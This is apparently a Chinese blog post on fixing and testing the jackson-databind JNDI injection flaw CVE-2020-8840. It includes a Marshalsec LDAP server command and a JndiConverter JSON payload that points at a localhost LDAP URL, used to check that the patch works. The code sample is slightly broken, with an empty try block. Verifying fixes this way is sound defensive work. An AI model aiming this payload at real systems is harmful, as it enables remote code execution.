jackson-databind远程代码执⾏漏洞(CVE-2020-8840)修复与测试
漏洞介绍
攻击者可以利⽤此漏洞通过JNDI注⼊的⽅式执⾏本地Web容器下的任意代码,后⽂中将测试LDAP⽅式的远程代码调⽤,受影响版参见:。修复建议
⽹上能到的⼤部分修复建议是将jackson-databind的版本升级到2.9.10.4或后续版本,此⽅法的确⾏之有效,但是对于使⽤JDK1.6的⽼项⽬就⽐较尴尬,因为⾄2.8版本后jackson-databind字节码不再兼容JDK1.6,运⾏时会报Unsupported major.minor version 51.0错误,对于这种情况可以使⽤2.7.9.7版本修复,该版本的字节码仍然兼容JDK1.6,且确实具有修复效果,其佐证如下:
漏洞详情中本不包含2.7.9.7
项⽬github上的中明确指出了对此漏洞的修复
后⽂中的测试验证
漏洞测试
此漏洞会将特定输⼊进⾏JNDI转换并执⾏,这⾥测试只测试到调⽤端收到请求,实际执⾏类并未编写,测试步骤:
1. 使⽤Marshalsec⼯具开启LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer localhost:8080/#ExportObject 1389
2. 使⽤adValue⽅法对特定的字符串进⾏对象映射
ObjectMapper mapper = new ObjectMapper();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/ExportObject\"}]";
try {
} catch (IOException e) {
e.printStackTrace();
}
cve漏洞库3. 测试结果
漏洞版本:
Send LDAP reference result for ExportObject redirecting to localhost:8080/ExportObject.class
修复版本:没有收到LDAP请求
备注:以上观察结果为运⾏Marshalsec的控制台输出,修改jackson-databind后记得Maven需要Import Change。
附件中有测试项⽬,Marshalsec位于项⽬的resources⽬录下,可到绝对路径调⽤。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论